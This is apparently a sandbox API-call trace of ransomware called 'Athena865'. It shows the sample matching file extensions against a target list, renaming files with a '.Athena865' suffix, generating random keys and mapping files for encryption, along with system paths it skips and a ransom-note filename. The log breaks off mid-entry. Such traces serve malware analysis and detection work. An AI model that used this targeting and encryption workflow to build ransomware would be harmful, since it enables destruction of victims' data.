lstrcmpiW (lpString1=".hxn", lpString2="dlis") returned -1 [0048.563] lstrcmpiW (lpString1="hxn", lpString2="dp1") returned 1 [0048.563] lstrcmpiW (lpString1="hxn", lpString2="dqy") returned 1 [0048.563] lstrcmpiW (lpString1="hxn", lpString2="dsk") returned 1 [0048.563] lstrcmpiW (lpString1="hxn", lpString2="dsn") returned 1 [0048.563] lstrcmpiW (lpString1=".hxn", lpString2="dtsx") returned -1 [0048.563] lstrcmpiW (lpString1="hxn", lpString2="dxl") returned 1 [0048.563] lstrcmpiW (lpString1="hxn", lpString2="eco") returned 1 [0048.563] lstrcmpiW (lpString1="hxn", lpString2="ecx") returned 1 [0048.563] lstrcmpiW (lpString1="hxn", lpString2="edb") returned 1 [0048.563] lstrcmpiW (lpString1=".hxn", lpString2="epim") returned -1 [0048.563] lstrcmpiW (lpString1="hxn", lpString2="fcd") returned 1 [0048.563] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn.Athena865") returned 60 [0048.563] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.excel.14.1033.hxn.athena865"), dwFlags=0x1) returned 1 [0048.564] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn.Athena865" (normalized: "c:\\programdata\\microsoft help\\ms.excel.14.1033.hxn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.565] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=326) returned 1 [0048.565] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.569] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.570] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.570] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.570] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x450, lpName=0x0) returned 0x154 [0048.582] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x450) returned 0x100000 [0048.588] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.588] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.588] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0048.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0048.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0048.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0048.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50afa8 [0048.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50afa8 | out: hHeap=0x4f0000) returned 1 [0048.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.589] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0048.589] CloseHandle (hObject=0x154) returned 1 [0048.589] CloseHandle (hObject=0x17c) returned 1 [0048.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.590] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa755d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa755d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa7a2030, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.EXCEL.DEV.14.1033.hxn", cAlternateFileName="MSEXCE~2.HXN")) returned 1 [0048.590] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.590] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.590] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2=".") returned 1 [0048.590] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="..") returned 1 [0048.590] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="windows") returned -1 [0048.590] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="bootmgr") returned 1 [0048.590] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="temp") returned -1 [0048.590] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="pagefile.sys") returned -1 [0048.590] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="boot") returned 1 [0048.590] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="ids.txt") returned 1 [0048.590] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="ntuser.dat") returned -1 [0048.590] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="perflogs") returned -1 [0048.590] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2="MSBuild") returned -1 [0048.590] lstrlenW (lpString="MS.EXCEL.DEV.14.1033.hxn") returned 24 [0048.590] lstrcpyW (in: lpString1=0x241e884, lpString2="MS.EXCEL.DEV.14.1033.hxn" | out: lpString1="MS.EXCEL.DEV.14.1033.hxn") returned="MS.EXCEL.DEV.14.1033.hxn" [0048.590] lstrlenW (lpString="MS.EXCEL.DEV.14.1033.hxn") returned 24 [0048.590] lstrlenW (lpString="Athena865") returned 9 [0048.590] lstrcmpiW (lpString1=".1033.hxn", lpString2="Athena865") returned -1 [0048.590] lstrlenW (lpString=".dll") returned 4 [0048.590] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2=".dll") returned 1 [0048.590] lstrlenW (lpString=".lnk") returned 4 [0048.590] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2=".lnk") returned 1 [0048.590] lstrlenW (lpString=".ini") returned 4 [0048.590] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2=".ini") returned 1 [0048.590] lstrlenW (lpString=".sys") returned 4 [0048.590] lstrcmpiW (lpString1="MS.EXCEL.DEV.14.1033.hxn", lpString2=".sys") returned 1 [0048.590] lstrlenW (lpString="MS.EXCEL.DEV.14.1033.hxn") returned 24 [0048.590] lstrlenW (lpString="bak") returned 3 [0048.590] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1 [0048.590] lstrlenW (lpString="ba_") returned 3 [0048.590] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1 [0048.590] lstrlenW (lpString="dbb") returned 3 [0048.591] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1 [0048.591] lstrlenW (lpString="vmdk") returned 4 [0048.591] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1 [0048.591] lstrlenW (lpString="rar") returned 3 [0048.591] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1 [0048.591] lstrlenW (lpString="zip") returned 3 [0048.591] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1 [0048.591] lstrlenW (lpString="tgz") returned 3 [0048.591] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1 [0048.591] lstrlenW (lpString="vbox") returned 4 [0048.591] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1 [0048.591] lstrlenW (lpString="vdi") returned 3 [0048.591] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1 [0048.591] lstrlenW (lpString="vhd") returned 3 [0048.591] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1 [0048.591] lstrlenW (lpString="vhdx") returned 4 [0048.591] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1 [0048.591] lstrlenW (lpString="avhd") returned 4 [0048.591] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1 [0048.591] lstrlenW (lpString="db") returned 2 [0048.591] lstrcmpiW (lpString1="xn", lpString2="db") returned 1 [0048.591] lstrlenW (lpString="db2") returned 3 [0048.591] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1 [0048.591] lstrlenW (lpString="db3") returned 3 [0048.591] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1 [0048.591] lstrlenW (lpString="dbf") returned 3 [0048.591] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1 [0048.591] lstrlenW (lpString="mdf") returned 3 [0048.591] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1 [0048.591] lstrlenW (lpString="mdb") returned 3 [0048.591] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1 [0048.591] lstrlenW (lpString="sql") returned 3 [0048.591] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1 [0048.591] lstrlenW (lpString="sqlite") returned 6 [0048.592] lstrcmpiW (lpString1="33.hxn", lpString2="sqlite") returned -1 [0048.592] lstrlenW (lpString="sqlite3") returned 7 [0048.592] lstrcmpiW (lpString1="033.hxn", lpString2="sqlite3") returned -1 [0048.592] lstrlenW (lpString="sqlitedb") returned 8 [0048.592] lstrcmpiW (lpString1="1033.hxn", lpString2="sqlitedb") returned -1 [0048.592] lstrlenW (lpString="xml") returned 3 [0048.592] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1 [0048.592] lstrlenW (lpString="$er") returned 3 [0048.592] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1 [0048.592] lstrlenW (lpString="4dd") returned 3 [0048.592] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1 [0048.592] lstrlenW (lpString="4dl") returned 3 [0048.592] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1 [0048.592] lstrlenW (lpString="^^^") returned 3 [0048.592] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1 [0048.592] lstrlenW (lpString="abs") returned 3 [0048.592] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1 [0048.592] lstrlenW (lpString="abx") returned 3 [0048.592] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1 [0048.592] lstrlenW (lpString="accdb") returned 5 [0048.592] lstrcmpiW (lpString1="3.hxn", lpString2="accdb") returned -1 [0048.592] lstrlenW (lpString="accdc") returned 5 [0048.592] lstrcmpiW (lpString1="3.hxn", lpString2="accdc") returned -1 [0048.592] lstrlenW (lpString="accde") returned 5 [0048.592] lstrcmpiW (lpString1="3.hxn", lpString2="accde") returned -1 [0048.592] lstrlenW (lpString="accdr") returned 5 [0048.592] lstrcmpiW (lpString1="3.hxn", lpString2="accdr") returned -1 [0048.592] lstrlenW (lpString="accdt") returned 5 [0048.592] lstrcmpiW (lpString1="3.hxn", lpString2="accdt") returned -1 [0048.592] lstrlenW (lpString="accdw") returned 5 [0048.592] lstrcmpiW (lpString1="3.hxn", lpString2="accdw") returned -1 [0048.592] lstrlenW (lpString="accft") returned 5 [0048.592] lstrcmpiW (lpString1="3.hxn", lpString2="accft") returned -1 [0048.592] lstrlenW (lpString="adb") returned 3 [0048.592] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1 [0048.593] lstrlenW (lpString="adb") returned 3 [0048.593] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1 [0048.593] lstrlenW (lpString="ade") returned 3 [0048.593] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1 [0048.593] lstrlenW (lpString="adf") returned 3 [0048.593] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1 [0048.593] lstrlenW (lpString="adn") returned 3 [0048.593] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1 [0048.593] lstrlenW (lpString="adp") returned 3 [0048.593] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1 [0048.593] lstrlenW (lpString="alf") returned 3 [0048.593] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1 [0048.593] lstrlenW (lpString="ask") returned 3 [0048.593] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1 [0048.593] lstrlenW (lpString="btr") returned 3 [0048.593] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1 [0048.593] lstrlenW (lpString="cat") returned 3 [0048.593] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1 [0048.593] lstrlenW (lpString="cdb") returned 3 [0048.593] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1 [0048.593] lstrlenW (lpString="ckp") returned 3 [0048.593] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1 [0048.593] lstrlenW (lpString="cma") returned 3 [0048.593] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1 [0048.593] lstrlenW (lpString="cpd") returned 3 [0048.593] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1 [0048.593] lstrlenW (lpString="dacpac") returned 6 [0048.593] lstrcmpiW (lpString1="33.hxn", lpString2="dacpac") returned -1 [0048.593] lstrlenW (lpString="dad") returned 3 [0048.593] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1 [0048.593] lstrlenW (lpString="dadiagrams") returned 10 [0048.593] lstrcmpiW (lpString1="4.1033.hxn", lpString2="dadiagrams") returned -1 [0048.593] lstrlenW (lpString="daschema") returned 8 [0048.593] lstrcmpiW (lpString1="1033.hxn", lpString2="daschema") returned -1 [0048.593] lstrlenW (lpString="db-journal") returned 10 [0048.594] lstrcmpiW (lpString1="4.1033.hxn", lpString2="db-journal") returned -1 [0048.594] lstrlenW (lpString="db-shm") returned 6 [0048.594] lstrcmpiW (lpString1="33.hxn", lpString2="db-shm") returned -1 [0048.594] lstrlenW (lpString="db-wal") returned 6 [0048.594] lstrcmpiW (lpString1="33.hxn", lpString2="db-wal") returned -1 [0048.594] lstrlenW (lpString="dbc") returned 3 [0048.594] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1 [0048.594] lstrlenW (lpString="dbs") returned 3 [0048.594] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1 [0048.594] lstrlenW (lpString="dbt") returned 3 [0048.594] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1 [0048.594] lstrlenW (lpString="dbv") returned 3 [0048.594] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1 [0048.594] lstrlenW (lpString="dbx") returned 3 [0048.594] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1 [0048.594] lstrlenW (lpString="dcb") returned 3 [0048.594] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1 [0048.594] lstrlenW (lpString="dct") returned 3 [0048.594] lstrcmpiW (lpString1="hxn", lpString2="dct") returned 1 [0048.594] lstrlenW (lpString="dcx") returned 3 [0048.594] lstrcmpiW (lpString1="hxn", lpString2="dcx") returned 1 [0048.594] lstrlenW (lpString="ddl") returned 3 [0048.594] lstrcmpiW (lpString1="hxn", lpString2="ddl") returned 1 [0048.594] lstrlenW (lpString="dlis") returned 4 [0048.594] lstrcmpiW (lpString1=".hxn", lpString2="dlis") returned -1 [0048.594] lstrlenW (lpString="dp1") returned 3 [0048.594] lstrcmpiW (lpString1="hxn", lpString2="dp1") returned 1 [0048.594] lstrlenW (lpString="dqy") returned 3 [0048.594] lstrcmpiW (lpString1="hxn", lpString2="dqy") returned 1 [0048.594] lstrlenW (lpString="dsk") returned 3 [0048.594] lstrcmpiW (lpString1="hxn", lpString2="dsk") returned 1 [0048.594] lstrlenW (lpString="dsn") returned 3 [0048.594] lstrcmpiW (lpString1="hxn", lpString2="dsn") returned 1 [0048.594] lstrlenW (lpString="dtsx") returned 4 [0048.594] lstrcmpiW (lpString1=".hxn", lpString2="dtsx") returned -1 [0048.595] lstrlenW (lpString="dxl") returned 3 [0048.595] lstrcmpiW (lpString1="hxn", lpString2="dxl") returned 1 [0048.595] lstrlenW (lpString="eco") returned 3 [0048.595] lstrcmpiW (lpString1="hxn", lpString2="eco") returned 1 [0048.595] lstrlenW (lpString="ecx") returned 3 [0048.595] lstrcmpiW (lpString1="hxn", lpString2="ecx") returned 1 [0048.595] lstrlenW (lpString="edb") returned 3 [0048.595] lstrcmpiW (lpString1="hxn", lpString2="edb") returned 1 [0048.595] lstrlenW (lpString="epim") returned 4 [0048.595] lstrcmpiW (lpString1=".hxn", lpString2="epim") returned -1 [0048.595] lstrlenW (lpString="fcd") returned 3 [0048.595] lstrcmpiW (lpString1="hxn", lpString2="fcd") returned 1 [0048.595] lstrlenW (lpString="fdb") returned 3 [0048.595] lstrcmpiW (lpString1="hxn", lpString2="fdb") returned 1 [0048.595] lstrlenW (lpString="fic") returned 3 [0048.595] lstrcmpiW (lpString1="hxn", lpString2="fic") returned 1 [0048.595] lstrlenW (lpString="flexolibrary") returned 12 [0048.595] lstrcmpiW (lpString1=".14.1033.hxn", lpString2="flexolibrary") returned -1 [0048.595] lstrlenW (lpString="fm5") returned 3 [0048.595] lstrcmpiW (lpString1="hxn", lpString2="fm5") returned 1 [0048.595] lstrlenW (lpString="fmp") returned 3 [0048.595] lstrcmpiW (lpString1="hxn", lpString2="fmp") returned 1 [0048.595] lstrlenW (lpString="fmp12") returned 5 [0048.595] lstrcmpiW (lpString1="3.hxn", lpString2="fmp12") returned -1 [0048.595] lstrlenW (lpString="fmpsl") returned 5 [0048.595] lstrcmpiW (lpString1="3.hxn", lpString2="fmpsl") returned -1 [0048.595] lstrlenW (lpString="fol") returned 3 [0048.595] lstrcmpiW (lpString1="hxn", lpString2="fol") returned 1 [0048.595] lstrlenW (lpString="fp3") returned 3 [0048.595] lstrcmpiW (lpString1="hxn", lpString2="fp3") returned 1 [0048.595] lstrlenW (lpString="fp4") returned 3 [0048.595] lstrcmpiW (lpString1="hxn", lpString2="fp4") returned 1 [0048.595] lstrlenW (lpString="fp5") returned 3 [0048.595] lstrcmpiW (lpString1="hxn", lpString2="fp5") returned 1 [0048.595] lstrlenW (lpString="fp7") returned 3 [0048.596] lstrcmpiW (lpString1="hxn", lpString2="fp7") returned 1 [0048.596] lstrlenW (lpString="fpt") returned 3 [0048.596] lstrcmpiW (lpString1="hxn", lpString2="fpt") returned 1 [0048.596] lstrlenW (lpString="frm") returned 3 [0048.596] lstrcmpiW (lpString1="hxn", lpString2="frm") returned 1 [0048.596] lstrlenW (lpString="gdb") returned 3 [0048.596] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1 [0048.596] lstrlenW (lpString="gdb") returned 3 [0048.596] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1 [0048.596] lstrlenW (lpString="grdb") returned 4 [0048.596] lstrcmpiW (lpString1=".hxn", lpString2="grdb") returned -1 [0048.596] lstrlenW (lpString="gwi") returned 3 [0048.596] lstrcmpiW (lpString1="hxn", lpString2="gwi") returned 1 [0048.596] lstrlenW (lpString="hdb") returned 3 [0048.596] lstrcmpiW (lpString1="hxn", lpString2="hdb") returned 1 [0048.596] lstrlenW (lpString="his") returned 3 [0048.596] lstrcmpiW (lpString1="hxn", lpString2="his") returned 1 [0048.596] lstrlenW (lpString="ib") returned 2 [0048.596] lstrcmpiW (lpString1="xn", lpString2="ib") returned 1 [0048.596] lstrlenW (lpString="idb") returned 3 [0048.596] lstrcmpiW (lpString1="hxn", lpString2="idb") returned -1 [0048.596] lstrlenW (lpString="ihx") returned 3 [0048.596] lstrcmpiW (lpString1="hxn", lpString2="ihx") returned -1 [0048.596] lstrlenW (lpString="itdb") returned 4 [0048.596] lstrcmpiW (lpString1=".hxn", lpString2="itdb") returned -1 [0048.596] lstrlenW (lpString="itw") returned 3 [0048.596] lstrcmpiW (lpString1="hxn", lpString2="itw") returned -1 [0048.596] lstrlenW (lpString="jet") returned 3 [0048.596] lstrcmpiW (lpString1="hxn", lpString2="jet") returned -1 [0048.596] lstrlenW (lpString="jtx") returned 3 [0048.596] lstrcmpiW (lpString1="hxn", lpString2="jtx") returned -1 [0048.597] lstrlenW (lpString="kdb") returned 3 [0048.597] lstrcmpiW (lpString1="hxn", lpString2="kdb") returned -1 [0048.597] lstrlenW (lpString="kexi") returned 4 [0048.597] lstrcmpiW (lpString1=".hxn", lpString2="kexi") returned -1 [0048.597] lstrlenW (lpString="kexic") returned 5 [0048.597] lstrcmpiW (lpString1="3.hxn", lpString2="kexic") returned -1 [0048.597] lstrlenW (lpString="kexis") returned 5 [0048.597] lstrcmpiW (lpString1="3.hxn", lpString2="kexis") returned -1 [0048.597] lstrlenW (lpString="lgc") returned 3 [0048.597] lstrcmpiW (lpString1="hxn", lpString2="lgc") returned -1 [0048.597] lstrlenW (lpString="lwx") returned 3 [0048.597] lstrcmpiW (lpString1="hxn", lpString2="lwx") returned -1 [0048.597] lstrlenW (lpString="maf") returned 3 [0048.597] lstrcmpiW (lpString1="hxn", lpString2="maf") returned -1 [0048.597] lstrlenW (lpString="maq") returned 3 [0048.597] lstrcmpiW (lpString1="hxn", lpString2="maq") returned -1 [0048.597] lstrlenW (lpString="mar") returned 3 [0048.597] lstrcmpiW (lpString1="hxn", lpString2="mar") returned -1 [0048.597] lstrlenW (lpString="marshal") returned 7 [0048.597] lstrcmpiW (lpString1="033.hxn", lpString2="marshal") returned -1 [0048.597] lstrlenW (lpString="mas") returned 3 [0048.597] lstrcmpiW (lpString1="hxn", lpString2="mas") returned -1 [0048.597] lstrlenW (lpString="mav") returned 3 [0048.597] lstrcmpiW (lpString1="hxn", lpString2="mav") returned -1 [0048.597] lstrlenW (lpString="maw") returned 3 [0048.597] lstrcmpiW (lpString1="hxn", lpString2="maw") returned -1 [0048.597] lstrlenW (lpString="mdbhtml") returned 7 [0048.597] lstrcmpiW (lpString1="033.hxn", lpString2="mdbhtml") returned -1 [0048.597] lstrlenW (lpString="mdn") returned 3 [0048.597] lstrcmpiW (lpString1="hxn", lpString2="mdn") returned -1 [0048.597] lstrlenW (lpString="mdt") returned 3 [0048.597] lstrcmpiW (lpString1="hxn", lpString2="mdt") returned -1 [0048.597] lstrlenW (lpString="mfd") returned 3 [0048.597] lstrcmpiW (lpString1="hxn", lpString2="mfd") returned -1 [0048.597] lstrlenW (lpString="mpd") returned 3 [0048.598] lstrcmpiW (lpString1="hxn", lpString2="mpd") returned -1 [0048.598] lstrlenW (lpString="mrg") returned 3 [0048.598] lstrcmpiW (lpString1="hxn", lpString2="mrg") returned -1 [0048.598] lstrlenW (lpString="mud") returned 3 [0048.598] lstrcmpiW (lpString1="hxn", lpString2="mud") returned -1 [0048.598] lstrlenW (lpString="mwb") returned 3 [0048.598] lstrcmpiW (lpString1="hxn", lpString2="mwb") returned -1 [0048.598] lstrlenW (lpString="myd") returned 3 [0048.598] lstrcmpiW (lpString1="hxn", lpString2="myd") returned -1 [0048.598] lstrlenW (lpString="ndf") returned 3 [0048.598] lstrcmpiW (lpString1="hxn", lpString2="ndf") returned -1 [0048.598] lstrlenW (lpString="nnt") returned 3 [0048.598] lstrcmpiW (lpString1="hxn", lpString2="nnt") returned -1 [0048.598] lstrlenW (lpString="nrmlib") returned 6 [0048.598] lstrcmpiW (lpString1="33.hxn", lpString2="nrmlib") returned -1 [0048.598] lstrlenW (lpString="ns2") returned 3 [0048.598] lstrcmpiW (lpString1="hxn", lpString2="ns2") returned -1 [0048.598] lstrlenW (lpString="ns3") returned 3 [0048.598] lstrcmpiW (lpString1="hxn", lpString2="ns3") returned -1 [0048.598] lstrlenW (lpString="ns4") returned 3 [0048.598] lstrcmpiW (lpString1="hxn", lpString2="ns4") returned -1 [0048.598] lstrlenW (lpString="nsf") returned 3 [0048.598] lstrcmpiW (lpString1="hxn", lpString2="nsf") returned -1 [0048.598] lstrlenW (lpString="nv") returned 2 [0048.598] lstrcmpiW (lpString1="xn", lpString2="nv") returned 1 [0048.598] lstrlenW (lpString="nv2") returned 3 [0048.598] lstrcmpiW (lpString1="hxn", lpString2="nv2") returned -1 [0048.598] lstrlenW (lpString="nwdb") returned 4 [0048.598] lstrcmpiW (lpString1=".hxn", lpString2="nwdb") returned -1 [0048.598] lstrlenW (lpString="nyf") returned 3 [0048.598] lstrcmpiW (lpString1="hxn", lpString2="nyf") returned -1 [0048.598] lstrlenW (lpString="odb") returned 3 [0048.598] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1 [0048.598] lstrlenW (lpString="odb") returned 3 [0048.598] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1 [0048.599] lstrlenW (lpString="oqy") returned 3 [0048.599] lstrcmpiW (lpString1="hxn", lpString2="oqy") returned -1 [0048.599] lstrlenW (lpString="ora") returned 3 [0048.599] lstrcmpiW (lpString1="hxn", lpString2="ora") returned -1 [0048.599] lstrlenW (lpString="orx") returned 3 [0048.599] lstrcmpiW (lpString1="hxn", lpString2="orx") returned -1 [0048.599] lstrlenW (lpString="owc") returned 3 [0048.599] lstrcmpiW (lpString1="hxn", lpString2="owc") returned -1 [0048.599] lstrlenW (lpString="p96") returned 3 [0048.599] lstrcmpiW (lpString1="hxn", lpString2="p96") returned -1 [0048.599] lstrlenW (lpString="p97") returned 3 [0048.599] lstrcmpiW (lpString1="hxn", lpString2="p97") returned -1 [0048.599] lstrlenW (lpString="pan") returned 3 [0048.599] lstrcmpiW (lpString1="hxn", lpString2="pan") returned -1 [0048.599] lstrlenW (lpString="pdb") returned 3 [0048.599] lstrcmpiW (lpString1="hxn", lpString2="pdb") returned -1 [0048.599] lstrlenW (lpString="pdm") returned 3 [0048.599] lstrcmpiW (lpString1="hxn", lpString2="pdm") returned -1 [0048.599] lstrlenW (lpString="pnz") returned 3 [0048.599] lstrcmpiW (lpString1="hxn", lpString2="pnz") returned -1 [0048.599] lstrlenW (lpString="qry") returned 3 [0048.599] lstrcmpiW (lpString1="hxn", lpString2="qry") returned -1 [0048.599] lstrlenW (lpString="qvd") returned 3 [0048.599] lstrcmpiW (lpString1="hxn", lpString2="qvd") returned -1 [0048.599] lstrlenW (lpString="rbf") returned 3 [0048.599] lstrcmpiW (lpString1="hxn", lpString2="rbf") returned -1 [0048.599] lstrlenW (lpString="rctd") returned 4 [0048.599] lstrcmpiW (lpString1=".hxn", lpString2="rctd") returned -1 [0048.599] lstrlenW (lpString="rod") returned 3 [0048.599] lstrcmpiW (lpString1="hxn", lpString2="rod") returned -1 [0048.599] lstrlenW (lpString="rodx") returned 4 [0048.599] lstrcmpiW (lpString1=".hxn", lpString2="rodx") returned -1 [0048.599] lstrlenW (lpString="rpd") returned 3 [0048.599] lstrcmpiW (lpString1="hxn", lpString2="rpd") returned -1 [0048.600] lstrlenW (lpString="rsd") returned 3 [0048.600] lstrcmpiW (lpString1="hxn", lpString2="rsd") returned -1 [0048.600] lstrlenW (lpString="sas7bdat") returned 8 [0048.600] lstrcmpiW (lpString1="1033.hxn", lpString2="sas7bdat") returned -1 [0048.600] lstrlenW (lpString="sbf") returned 3 [0048.600] lstrcmpiW (lpString1="hxn", lpString2="sbf") returned -1 [0048.600] lstrlenW (lpString="scx") returned 3 [0048.600] lstrcmpiW (lpString1="hxn", lpString2="scx") returned -1 [0048.600] lstrlenW (lpString="sdb") returned 3 [0048.600] lstrcmpiW (lpString1="hxn", lpString2="sdb") returned -1 [0048.600] lstrlenW (lpString="sdc") returned 3 [0048.600] lstrcmpiW (lpString1="hxn", lpString2="sdc") returned -1 [0048.600] lstrlenW (lpString="sdf") returned 3 [0048.600] lstrcmpiW (lpString1="hxn", lpString2="sdf") returned -1 [0048.600] lstrlenW (lpString="sis") returned 3 [0048.600] 